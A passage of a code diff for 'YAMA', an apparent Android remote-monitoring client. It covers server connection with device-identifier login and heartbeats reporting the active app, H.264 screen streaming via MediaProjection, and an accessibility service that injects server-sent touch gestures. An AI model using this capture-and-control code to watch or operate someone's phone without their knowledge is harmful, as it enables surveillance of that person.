|
||||
LOGI("Connect failed, retry 5s");
|
||||
Sleep(5000);
|
||||
continue;
|
||||
}
|
||||
|
||||
ClientAuth::OnNewConnection();
|
||||
client->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
|
||||
LOGI("Connected & login sent");
|
||||
|
||||
while (client->IsRunning() && client->IsConnected()
|
||||
&& S_CLIENT_NORMAL == g_bExit && g_running.load())
|
||||
{
|
||||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||
for (int i = 0; i < interval; ++i) {
|
||||
if (!client->IsRunning() || !client->IsConnected()
|
||||
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) break;
|
||||
Sleep(1000);
|
||||
}
|
||||
if (!client->IsRunning() || !client->IsConnected()
|
||||
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) break;
|
||||
|
||||
if (ClientAuth::IsTimedOut()) {
|
||||
LOGI("MasterSettings timeout → reconnect");
|
||||
client->Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
{
|
||||
int ackTO = (interval * 3 > 60) ? interval * 3 : 60;
|
||||
uint64_t last = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
|
||||
uint64_t now = GetUnixMs();
|
||||
if (last > 0 && now > last && now - last > (uint64_t)ackTO * 1000ULL) {
|
||||
LOGI("ACK timeout → reconnect");
|
||||
client->Disconnect();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Heartbeat hb;
|
||||
hb.Time = GetUnixMs();
|
||||
hb.Ping = (int)(g_rttEstimator.srtt * 1000.0);
|
||||
std::string aw = GetActiveWindowFromJava();
|
||||
strncpy(hb.ActiveWnd, aw.c_str(), sizeof(hb.ActiveWnd) - 1);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||||
client->Send2Server((char*)buf, sizeof(buf));
|
||||
{
|
||||
uint64_t now2 = GetUnixMs();
|
||||
if (now2 - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
|
||||
// ACK 分支会更新 g_lastHbLogMs,这里仅在没有 ACK 时兜底打印
|
||||
LOGI("Heartbeat Ping=%dms", hb.Ping);
|
||||
}
|
||||
}
|
||||
}
|
||||
LOGI("Disconnected");
|
||||
}
|
||||
|
||||
g_running.store(false);
|
||||
LOGI("ConnectionThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ JNI
|
||||
extern "C" {
|
||||
|
||||
JNIEXPORT jint JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeInit(
|
||||
JNIEnv* env, jobject,
|
||||
jstring serverIp, jint serverPort,
|
||||
jstring androidId, jstring deviceModel,
|
||||
jstring androidVersion, jstring screenRes,
|
||||
jstring username, jstring apkPath)
|
||||
{
|
||||
// CPP-01 fix: CAS 原子地完成"检查+设置",消除 check-then-act 竞争
|
||||
bool expected = false;
|
||||
if (!g_running.compare_exchange_strong(expected, true)) {
|
||||
LOGI("already running"); return -1;
|
||||
}
|
||||
|
||||
auto toStr = [&](jstring js) -> std::string {
|
||||
if (!js) return "";
|
||||
const char* c = env->GetStringUTFChars(js, nullptr);
|
||||
std::string s = c ? c : "";
|
||||
env->ReleaseStringUTFChars(js, c);
|
||||
return s;
|
||||
};
|
||||
|
||||
g_serverIp = toStr(serverIp);
|
||||
g_serverPort = (int)serverPort;
|
||||
g_androidId = toStr(androidId);
|
||||
g_deviceModel = toStr(deviceModel);
|
||||
g_androidVersion = toStr(androidVersion);
|
||||
g_screenRes = toStr(screenRes);
|
||||
g_username = toStr(username);
|
||||
g_apkPath = toStr(apkPath);
|
||||
|
||||
// 缓存 JVM 和 Class/Method 引用。必须在 Java 线程(nativeInit 调用栈)
|
||||
// 里做 FindClass,否则 AttachCurrentThread 的后台线程只有系统 ClassLoader,
|
||||
// 找不到 App 类,GetStaticMethodID 拿到 null 导致后续调用崩溃。
|
||||
if (g_jvm == nullptr) {
|
||||
if (env->GetJavaVM(&g_jvm) == JNI_OK) {
|
||||
jclass cls = env->FindClass("com/yama/client/ControlService");
|
||||
if (cls) {
|
||||
g_ctrlClass = (jclass)env->NewGlobalRef(cls);
|
||||
g_ctrlMethod = env->GetStaticMethodID(g_ctrlClass, "onControlEvent", "(IJII)V");
|
||||
if (!g_ctrlMethod) LOGE("ControlService.onControlEvent not found");
|
||||
g_getActiveWindowMid = env->GetStaticMethodID(g_ctrlClass, "getActiveWindow", "()Ljava/lang/String;");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_getActiveWindowMid = nullptr; }
|
||||
if (!g_getActiveWindowMid) LOGE("ControlService.getActiveWindow not found");
|
||||
} else {
|
||||
LOGE("ControlService class not found");
|
||||
}
|
||||
jclass capCls = env->FindClass("com/yama/client/CaptureService");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); capCls = nullptr; }
|
||||
if (capCls) {
|
||||
g_captureClass = (jclass)env->NewGlobalRef(capCls);
|
||||
g_requestIdrMid = env->GetStaticMethodID(g_captureClass, "requestIdr", "()V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestIdrMid = nullptr; }
|
||||
if (!g_requestIdrMid) LOGE("CaptureService.requestIdr not found");
|
||||
// GetStaticMethodID 找不到方法时会挂起 JNI 异常;必须清除,
|
||||
// 否则 nativeInit 返回时 Java 层会抛出 NoSuchMethodError 崩溃。
|
||||
g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V");
|
||||
if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; }
|
||||
if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found");
|
||||
} else {
|
||||
LOGE("CaptureService class not found");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
g_bExit = S_CLIENT_NORMAL;
|
||||
// g_running 已在 CAS 中设为 true,不重复 store
|
||||
std::thread(ConnectionThread).detach();
|
||||
LOGI("nativeInit OK server=%s:%d", g_serverIp.c_str(), g_serverPort);
|
||||
return 0;
|
||||
}
|
||||
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject)
|
||||
{
|
||||
LOGI("nativeStop");
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
g_running.store(false);
|
||||
}
|
||||
|
||||
// 由 CaptureService 在 MediaCodec 配置完成后调用,告知 C++ 侧实际捕获尺寸
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
|
||||
{
|
||||
g_screenWidth.store(width);
|
||||
g_screenHeight.store(height);
|
||||
LOGI("ScreenSize=%dx%d", width, height);
|
||||
}
|
||||
|
||||
// 由 CaptureService 的 MediaCodec.Callback 调用,投递 H.264 NALU
|
||||
JNIEXPORT void JNICALL
|
||||
Java_com_yama_client_YamaBridge_nativeOnH264Frame(
|
||||
JNIEnv* env, jobject,
|
||||
jbyteArray data, jint offset, jint size, jboolean isKeyframe)
|
||||
{
|
||||
// CPP-04 fix: 验证 offset/size 边界,防止越界读写导致崩溃
|
||||
if (!data || offset < 0 || size <= 0) return;
|
||||
jsize arrLen = env->GetArrayLength(data);
|
||||
if ((jlong)offset + size > arrLen) {
|
||||
LOGE("nativeOnH264Frame: bounds violation offset=%d size=%d arrLen=%d", offset, size, arrLen);
|
||||
return;
|
||||
}
|
||||
|
||||
jbyte* buf = env->GetByteArrayElements(data, nullptr);
|
||||
if (!buf) return;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||
for (auto* h : g_screenHandlers)
|
||||
h->OnFrameData((const uint8_t*)buf + offset, (uint32_t)size, (bool)isKeyframe);
|
||||
}
|
||||
|
||||
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
|
||||
}
|
||||
|
||||
} // extern "C"
|
||||
360
android/app/src/main/java/com/yama/client/CaptureService.kt
Normal file
@@ -0,0 +1,360 @@
|
||||
package com.yama.client
|
||||
|
||||
import android.app.Notification
|
||||
import android.app.NotificationChannel
|
||||
import android.app.NotificationManager
|
||||
import android.app.Service
|
||||
import android.content.Intent
|
||||
import android.hardware.display.DisplayManager
|
||||
import android.hardware.display.VirtualDisplay
|
||||
import android.media.MediaCodec
|
||||
import android.media.MediaCodecInfo
|
||||
import android.media.MediaFormat
|
||||
import android.media.projection.MediaProjection
|
||||
import android.media.projection.MediaProjectionManager
|
||||
import android.os.Build
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.IBinder
|
||||
import android.os.Looper
|
||||
import android.provider.Settings
|
||||
import android.util.DisplayMetrics
|
||||
import android.util.Log
|
||||
import android.view.WindowManager
|
||||
|
||||
class CaptureService : Service() {
|
||||
|
||||
companion object {
|
||||
const val TAG = "YAMA"
|
||||
const val CHANNEL_ID = "yama_service"
|
||||
const val NOTIF_ID = 1
|
||||
|
||||
const val EXTRA_SERVER_IP = "server_ip"
|
||||
const val EXTRA_SERVER_PORT = "server_port"
|
||||
const val EXTRA_PROJECTION_RESULT = "projection_result"
|
||||
const val EXTRA_PROJECTION_DATA = "projection_data"
|
||||
|
||||
private const val MAX_LONG_SIDE = 1080
|
||||
|
||||
// CS-01 fix: 通过 idrHandler.post 序列化到主线程,避免 TOCTOU 竞争
|
||||
@Volatile var instance: CaptureService? = null
|
||||
|
||||
@JvmStatic
|
||||
fun requestIdr() {
|
||||
val svc = instance ?: return
|
||||
svc.idrHandler.post {
|
||||
runCatching {
|
||||
val p = Bundle()
|
||||
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
|
||||
svc.mediaCodec?.setParameters(p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 静止屏幕黑屏修复:SurfaceFlinger 在无脏区时不向 VirtualDisplay 推帧,
|
||||
* 导致编码器无输入,REQUEST_SYNC_FRAME 悬空排队,浏览器等 10-60 秒才见画面。
|
||||
* 解决方法:将 VirtualDisplay 宽度临时改变 2px,触发一次强制合成,
|
||||
* 编码器随即得到输入帧并消费已排队的 IDR 请求。150ms 后恢复原始尺寸。
|
||||
*/
|
||||
@JvmStatic
|
||||
fun forceFirstFrame() {
|
||||
val svc = instance ?: return
|
||||
svc.idrHandler.post {
|
||||
runCatching {
|
||||
val vd = svc.virtualDisplay ?: return@runCatching
|
||||
val w = ControlService.encW
|
||||
val h = ControlService.encH
|
||||
val dpi = svc.resources.displayMetrics.densityDpi
|
||||
Log.d(TAG, "forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
|
||||
vd.resize(w + 2, h, dpi)
|
||||
svc.idrHandler.postDelayed({
|
||||
runCatching { vd.resize(w, h, dpi) }
|
||||
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
|
||||
}, 150)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private var mediaProjection: MediaProjection? = null
|
||||
private var virtualDisplay: VirtualDisplay? = null
|
||||
private var mediaCodec: MediaCodec? = null
|
||||
|
||||
private val idrHandler = Handler(Looper.getMainLooper())
|
||||
// CS-04 fix: runCatching 包住 setParameters,防止 codec 已停止时抛异常
|
||||
private val idrRunnable = object : Runnable {
|
||||
override fun run() {
|
||||
runCatching {
|
||||
val p = Bundle()
|
||||
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
|
||||
mediaCodec?.setParameters(p)
|
||||
}
|
||||
idrHandler.postDelayed(this, 1000)
|
||||
}
|
||||
}
|
||||
|
||||
override fun onBind(intent: Intent?): IBinder? = null
|
||||
|
||||
override fun onCreate() {
|
||||
super.onCreate()
|
||||
instance = this
|
||||
createNotificationChannel()
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
startForeground(NOTIF_ID, buildNotification(),
|
||||
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION)
|
||||
} else {
|
||||
startForeground(NOTIF_ID, buildNotification())
|
||||
}
|
||||
}
|
||||
|
||||
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||||
// CS-03 fix: START_STICKY 重启时 intent 为 null,必须在最前面检查
|
||||
if (intent == null) return START_NOT_STICKY
|
||||
val ip = intent.getStringExtra(EXTRA_SERVER_IP) ?: return START_NOT_STICKY
|
||||
val port = intent.getIntExtra(EXTRA_SERVER_PORT, 443)
|
||||
|
||||
val androidId = Settings.Secure.getString(contentResolver, Settings.Secure.ANDROID_ID) ?: ""
|
||||
val model = "${Build.MANUFACTURER} ${Build.MODEL}"
|
||||
val osVer = "Android ${Build.VERSION.RELEASE} (API ${Build.VERSION.SDK_INT})"
|
||||
val (sw, sh) = getPhysicalResolution()
|
||||
val res = "1:${sw}*${sh}"
|
||||
val user = Build.USER
|
||||
|
||||
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
|
||||
|
||||
// YB-01 fix: so 库加载失败是 Error,不被 catch(Exception) 捕获,需单独处理
|
||||
try {
|
||||
YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "")
|
||||
} catch (e: UnsatisfiedLinkError) {
|
||||
Log.e(TAG, "Native library load failed: $e")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
|
||||
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
|
||||
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
|
||||
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
|
||||
else
|
||||
@Suppress("DEPRECATION") intent.getParcelableExtra(EXTRA_PROJECTION_DATA)
|
||||
|
||||
if (projResult == android.app.Activity.RESULT_OK && projData != null) {
|
||||
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||||
val mp = pm.getMediaProjection(projResult, projData)
|
||||
mediaProjection = mp
|
||||
// CS-05 fix: 分辨率为 0 时不启动采集,避免 MediaCodec 配置崩溃
|
||||
if (sw > 0 && sh > 0) {
|
||||
startCapture(mp, sw, sh)
|
||||
} else {
|
||||
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
|
||||
}
|
||||
} else {
|
||||
Log.w(TAG, "No MediaProjection token, skipping screen capture")
|
||||
}
|
||||
|
||||
return START_STICKY
|
||||
}
|
||||
|
||||
override fun onDestroy() {
|
||||
super.onDestroy()
|
||||
instance = null
|
||||
stopCapture()
|
||||
YamaBridge.nativeStop()
|
||||
Log.i(TAG, "CaptureService destroyed")
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- MediaProjection + MediaCodec
|
||||
|
||||
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
|
||||
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
|
||||
val dpi = resources.displayMetrics.densityDpi
|
||||
|
||||
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi")
|
||||
|
||||
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
|
||||
val surface = configureEncoder(codec, encW, encH)
|
||||
|
||||
var configData: ByteArray? = null
|
||||
|
||||
codec.setCallback(object : MediaCodec.Callback() {
|
||||
override fun onInputBufferAvailable(mc: MediaCodec, index: Int) { /* Surface 模式不用 */ }
|
||||
|
||||
override fun onOutputBufferAvailable(mc: MediaCodec, index: Int, info: MediaCodec.BufferInfo) {
|
||||
val buf = mc.getOutputBuffer(index)
|
||||
if (buf == null || info.size == 0) {
|
||||
mc.releaseOutputBuffer(index, false)
|
||||
return
|
||||
}
|
||||
buf.position(info.offset)
|
||||
buf.limit(info.offset + info.size)
|
||||
|
||||
if (info.flags and MediaCodec.BUFFER_FLAG_CODEC_CONFIG != 0) {
|
||||
configData = ByteArray(info.size).also { buf.get(it) }
|
||||
mc.releaseOutputBuffer(index, false)
|
||||
return
|
||||
}
|
||||
|
||||
val isKey = info.flags and MediaCodec.BUFFER_FLAG_KEY_FRAME != 0
|
||||
val frame = ByteArray(info.size).also { buf.get(it) }
|
||||
mc.releaseOutputBuffer(index, false)
|
||||
|
||||
// 部分安卓硬件编码器(如某些高通实现)对 REQUEST_SYNC_FRAME 强制产生的
|
||||
// IDR 帧不设置 BUFFER_FLAG_KEY_FRAME,导致 SendLoop 将所有帧视为 P 帧丢弃。
|
||||
// 补充扫描 NALU 字节来识别真正的关键帧,确保首帧能顺利发出。
|
||||
val actualIsKey = isKey || isNaluKeyframe(frame)
|
||||
val payload = if (actualIsKey && configData != null) configData!! + frame else frame
|
||||
YamaBridge.nativeOnH264Frame(payload, 0, payload.size, actualIsKey)
|
||||
}
|
||||
|
||||
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
|
||||
Log.e(TAG, "MediaCodec error: $e")
|
||||
}
|
||||
|
||||
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
|
||||
Log.i(TAG, "Output format: $format")
|
||||
}
|
||||
})
|
||||
|
||||
codec.start()
|
||||
mediaCodec = codec
|
||||
|
||||
idrHandler.postDelayed(idrRunnable, 500)
|
||||
|
||||
// Android 14+ requires callback registered before createVirtualDisplay()
|
||||
mp.registerCallback(object : MediaProjection.Callback() {
|
||||
override fun onStop() {
|
||||
Log.i(TAG, "MediaProjection stopped")
|
||||
stopCapture()
|
||||
stopSelf()
|
||||
}
|
||||
}, null)
|
||||
|
||||
virtualDisplay = mp.createVirtualDisplay(
|
||||
"YAMA",
|
||||
encW, encH, dpi,
|
||||
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
|
||||
surface, null, null
|
||||
)
|
||||
|
||||
YamaBridge.nativeSetScreenSize(encW, encH)
|
||||
|
||||
ControlService.physW = physW
|
||||
ControlService.physH = physH
|
||||
ControlService.encW = encW
|
||||
ControlService.encH = encH
|
||||
|
||||
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
|
||||
}
|
||||
|
||||
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean) =
|
||||
MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, w, h).apply {
|
||||
setInteger(MediaFormat.KEY_COLOR_FORMAT,
|
||||
MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface)
|
||||
setInteger(MediaFormat.KEY_BIT_RATE, 4_000_000)
|
||||
setInteger(MediaFormat.KEY_FRAME_RATE, 30)
|
||||
setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 2)
|
||||
setInteger(MediaFormat.KEY_PRIORITY, 0)
|
||||
setInteger(MediaFormat.KEY_OPERATING_RATE, 30)
|
||||
if (lowLatency) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
|
||||
setInteger(MediaFormat.KEY_LATENCY, 0)
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
|
||||
setInteger(MediaFormat.KEY_LOW_LATENCY, 1)
|
||||
}
|
||||
if (baseline)
|
||||
setInteger(MediaFormat.KEY_PROFILE,
|
||||
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
|
||||
}
|
||||
|
||||
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
|
||||
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int): android.view.Surface {
|
||||
val configs = listOf(
|
||||
true to true,
|
||||
true to false,
|
||||
false to false,
|
||||
)
|
||||
for ((ll, bl) in configs) {
|
||||
try {
|
||||
val fmt = buildFmt(w, h, ll, bl)
|
||||
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
|
||||
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
|
||||
return codec.createInputSurface()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
|
||||
try { codec.reset() } catch (_: Exception) {}
|
||||
}
|
||||
}
|
||||
throw RuntimeException("MediaCodec: all encoder configs failed")
|
||||
}
|
||||
|
||||
private fun stopCapture() {
|
||||
idrHandler.removeCallbacks(idrRunnable)
|
||||
runCatching { virtualDisplay?.release() }
|
||||
// CS-07 fix: stop 和 release 分开,stop 失败不会跳过 release 导致资源泄漏
|
||||
runCatching { mediaCodec?.stop() }
|
||||
runCatching { mediaCodec?.release() }
|
||||
runCatching { mediaProjection?.stop() }
|
||||
virtualDisplay = null
|
||||
mediaCodec = null
|
||||
mediaProjection = null
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- 辅助函数
|
||||
|
||||
private fun getPhysicalResolution(): Pair<Int, Int> {
|
||||
val wm = getSystemService(WINDOW_SERVICE) as WindowManager
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
val b = wm.currentWindowMetrics.bounds
|
||||
Pair(b.width(), b.height())
|
||||
} else {
|
||||
@Suppress("DEPRECATION")
|
||||
val dm = DisplayMetrics()
|
||||
@Suppress("DEPRECATION")
|
||||
wm.defaultDisplay.getRealMetrics(dm)
|
||||
Pair(dm.widthPixels, dm.heightPixels)
|
||||
}
|
||||
}
|
||||
|
||||
/** 扫描 Annex-B NALU 流,遇到 NAL type 5(IDR)、7(SPS)、8(PPS) 即判定为关键帧 */
|
||||
private fun isNaluKeyframe(data: ByteArray): Boolean {
|
||||
var i = 0
|
||||
while (i + 4 < data.size) {
|
||||
if (data[i] == 0.toByte() && data[i+1] == 0.toByte() &&
|
||||
data[i+2] == 0.toByte() && data[i+3] == 1.toByte()) {
|
||||
val nalType = data[i + 4].toInt() and 0x1F
|
||||
if (nalType == 5 || nalType == 7 || nalType == 8) return true
|
||||
i += 5
|
||||
} else {
|
||||
i++
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
/** 按长边上限等比缩小,宽高各自 2 对齐(H.264 要求) */
|
||||
private fun scaleDown(w: Int, h: Int, maxLong: Int): Pair<Int, Int> {
|
||||
val longSide = maxOf(w, h)
|
||||
if (longSide <= maxLong) return Pair(w and -2, h and -2)
|
||||
val scale = maxLong.toDouble() / longSide
|
||||
return Pair((w * scale).toInt() and -2, (h * scale).toInt() and -2)
|
||||
}
|
||||
|
||||
private fun createNotificationChannel() {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
val ch = NotificationChannel(CHANNEL_ID, "YAMA Service",
|
||||
NotificationManager.IMPORTANCE_LOW)
|
||||
getSystemService(NotificationManager::class.java)?.createNotificationChannel(ch)
|
||||
}
|
||||
}
|
||||
|
||||
private fun buildNotification(): Notification {
|
||||
val b = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O)
|
||||
Notification.Builder(this, CHANNEL_ID)
|
||||
else
|
||||
@Suppress("DEPRECATION") Notification.Builder(this)
|
||||
return b.setContentTitle("YAMA")
|
||||
.setContentText("Screen monitoring active")
|
||||
.setSmallIcon(android.R.drawable.ic_menu_camera)
|
||||
.build()
|
||||
}
|
||||
}
|
||||
290
android/app/src/main/java/com/yama/client/ControlService.kt
Normal file
@@ -0,0 +1,290 @@
|
||||
package com.yama.client
|
||||
|
||||
import android.accessibilityservice.AccessibilityService
|
||||
import android.accessibilityservice.GestureDescription
|
||||
import android.annotation.SuppressLint
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.IntentFilter
|
||||
import android.graphics.Path
|
||||
import android.graphics.PointF
|
||||
import android.os.Build
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.os.SystemClock
|
||||
import android.util.Log
|
||||
import android.view.accessibility.AccessibilityEvent
|
||||
|
||||
/**
|
||||
* AccessibilityService that injects touch gestures and global key actions
|
||||
* dispatched by the server (COMMAND_SCREEN_CONTROL / MSG64).
|
||||
*
|
||||
* Requires API 24+ for dispatchGesture(); guarded at runtime so the APK
|
||||
* installs on API 21+ but gesture injection only runs on 24+.
|
||||
*
|
||||
* Activation: Settings → Accessibility → YAMA → enable.
|
||||
*/
|
||||
@SuppressLint("NewApi")
|
||||
class ControlService : AccessibilityService() {
|
||||
|
||||
companion object {
|
||||
const val TAG = "YAMA_CTRL"
|
||||
|
||||
// ── Service instance ─────────────────────────────────────────────
|
||||
@Volatile var instance: ControlService? = null
|
||||
|
||||
// ── Active foreground window ─────────────────────────────────────
|
||||
@JvmStatic
|
||||
@Volatile var activeWindow: String = "Android"
|
||||
|
||||
// ── Screen geometry (set by CaptureService) ──────────────────────
|
||||
// Server sends coords in encoding space [0, encW) × [0, encH).
|
||||
// We map them to physical screen space before dispatching.
|
||||
@Volatile var physW = 1080
|
||||
@Volatile var physH = 1920
|
||||
@Volatile var encW = 1080
|
||||
@Volatile var encH = 1920
|
||||
|
||||
// ── Windows message constants ────────────────────────────────────
|
||||
const val WM_MOUSEMOVE = 0x0200
|
||||
const val WM_LBUTTONDOWN = 0x0201
|
||||
const val WM_LBUTTONUP = 0x0202
|
||||
const val WM_LBUTTONDBLCLK = 0x0203
|
||||
const val WM_RBUTTONDOWN = 0x0204
|
||||
const val WM_MBUTTONDOWN = 0x0207
|
||||
const val WM_MOUSEWHEEL = 0x020A
|
||||
const val WM_KEYDOWN = 0x0100
|
||||
const val WM_SYSKEYDOWN = 0x0104
|
||||
|
||||
/**
|
||||
* Called from C++ DataProcess() via JNI on the IO thread.
|
||||
* Parameters:
|
||||
* message – Windows WM_* constant (low 16 bits of MSG64.message)
|
||||
* wParam – MSG64.wParam (key/button flags; high word of MOUSEWHEEL = delta)
|
||||
* ptX/ptY – MSG64.pt in encoding-space pixels
|
||||
*/
|
||||
@JvmStatic
|
||||
fun onControlEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
|
||||
val svc = instance ?: run {
|
||||
Log.w(TAG, "ControlService inactive — event 0x${message.toString(16)} dropped")
|
||||
return
|
||||
}
|
||||
// All gesture state lives on the main thread; post there.
|
||||
svc.handler.post { svc.handleEvent(message, wParam, ptX, ptY) }
|
||||
}
|
||||
}
|
||||
|
||||
// ── Screen state receiver ─────────────────────────────────────────────
|
||||
private val screenReceiver = object : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context?, intent: Intent?) {
|
||||
when (intent?.action) {
|
||||
Intent.ACTION_SCREEN_OFF -> activeWindow = "Locked"
|
||||
Intent.ACTION_USER_PRESENT -> activeWindow = "Android"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Main-thread handler ───────────────────────────────────────────────
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
// ── Left-button drag accumulator ─────────────────────────────────────
|
||||
private var lbuttonDown = false
|
||||
private var gestureStart = 0L
|
||||
// Pairs of (millisecond offset from gesture start, screen point)
|
||||
private val strokePoints = mutableListOf<Pair<Long, PointF>>()
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────
|
||||
// AccessibilityService lifecycle
|
||||
|
||||
override fun onServiceConnected() {
|
||||
super.onServiceConnected()
|
||||
instance = this
|
||||
val filter = IntentFilter().apply {
|
||||
addAction(Intent.ACTION_SCREEN_OFF)
|
||||
addAction(Intent.ACTION_USER_PRESENT)
|
||||
}
|
||||
registerReceiver(screenReceiver, filter)
|
||||
Log.i(TAG, "ControlService connected phys=${physW}x${physH} enc=${encW}x${encH}")
|
||||
}
|
||||
|
||||
override fun onAccessibilityEvent(event: AccessibilityEvent?) {
|
||||
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
|
||||
val pkg = event.packageName?.toString()
|
||||
if (!pkg.isNullOrEmpty()) activeWindow = pkg
|
||||
}
|
||||
}
|
||||
override fun onInterrupt() {}
|
||||
|
||||
override fun onDestroy() {
|
||||
super.onDestroy()
|
||||
runCatching { unregisterReceiver(screenReceiver) }
|
||||
instance = null
|
||||
Log.i(TAG, "ControlService destroyed")
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────
|
||||
// Event routing (runs on main thread)
|
||||
|
||||
private fun handleEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
|
||||
// Scale encoding-space coords to physical screen
|
||||
val x = if (encW > 0) ptX.toFloat() * physW / encW else ptX.toFloat()
|
||||
val y = if (encH > 0) ptY.toFloat() * physH / encH else ptY.toFloat()
|
||||
if (message != WM_MOUSEMOVE)
|
||||
Log.d(TAG, "event 0x${message.toString(16)} enc=($ptX,$ptY) phys=(${x.toInt()},${y.toInt()})")
|
||||
|
||||
when (message) {
|
||||
|
||||
// ── Left button: accumulate drag path, dispatch on up ─────────
|
||||
WM_LBUTTONDOWN -> {
|
||||
lbuttonDown = true
|
||||
gestureStart = SystemClock.uptimeMillis()
|
||||
strokePoints.clear()
|
||||
strokePoints.add(0L to PointF(x, y))
|
||||
}
|
||||
WM_MOUSEMOVE -> {
|
||||
if (lbuttonDown) {
|
||||
strokePoints.add((SystemClock.uptimeMillis() - gestureStart) to PointF(x, y))
|
||||
}
|
||||
}
|
||||
WM_LBUTTONUP -> {
|
||||
if (!lbuttonDown) return
|
||||
lbuttonDown = false
|
||||
val elapsed = SystemClock.uptimeMillis() - gestureStart
|
||||
strokePoints.add(elapsed to PointF(x, y))
|
||||
val down = strokePoints[0].second
|
||||
val dx = x - down.x
|
||||
val dy = y - down.y
|
||||
|
||||
// ── System edge-gesture detection ────────────────────────────
|
||||
// dispatchGesture() is unreliable for system gestures; use performGlobalAction.
|
||||
val hEdge = physH * 0.08f // 8% of screen height = top/bottom trigger zone
|
||||
